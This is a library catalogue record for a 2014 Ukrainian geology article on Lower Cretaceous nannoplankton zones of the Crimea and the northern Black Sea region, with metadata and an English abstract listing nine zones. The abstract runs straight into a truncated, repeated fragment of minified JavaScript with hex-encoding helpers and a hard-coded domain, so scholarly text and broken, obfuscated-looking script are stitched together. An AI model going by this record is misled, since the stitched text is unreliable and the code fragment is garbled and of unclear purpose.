NANNOPLANKTON STRATIGRAPHY OF LOWER CRETACEOUS OF SOUTHERN UKRAINE

• Видавець: Institute of Geological Sciences, NAS of Ukraine
• Дата: 2014
• Автор: Matveyev, A.V.
• Формат: Стаття
• Мова: Ukrainian
• Опубліковано: Institute of Geological Sciences, NAS of Ukraine 2014
• Теми: biostratigraphy; Lower Cretaceous; nannoplankton; Southern Ukraine; 551.763; 561.22; биостратиграфия; нижний мел; нанопланктон; юг Украины; УДК 551.763; біостратиграфія; нижня крейда; південь України
• Онлайн доступ: http://geojournal.igs-nas.org.ua/article/view/139292

In the Lower Cretaceous of the south Ukraine calcareous nanoplankton represented in all lithological rock types, sometimes nannofossils are rock-forming components, but weak variability complicates stratigraphic taxonomic diversity of this group. On the basis of material from the mountain and flat Crimea and the north Black Sea region in the Lower Cretaceous we have identified nine zones: in Tytonian – lower Berriasian zone Nannoconus steinmannii minor; Upper Berriasian – Valanginian zone Retecapsa crenulata; Houterivian zone Calcicalatina oblongata; Barremian layers with Micrantolithus hoschulzii; lower Aptian zone Chiastozygus litterarius; lower and upper Aptian zone Eprolithus floralis; in the lower and middle Albian zone Prediscosphaera cretacea; upper Albian – lower Cenomanian zone Eiffelithus turriseiffeli.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e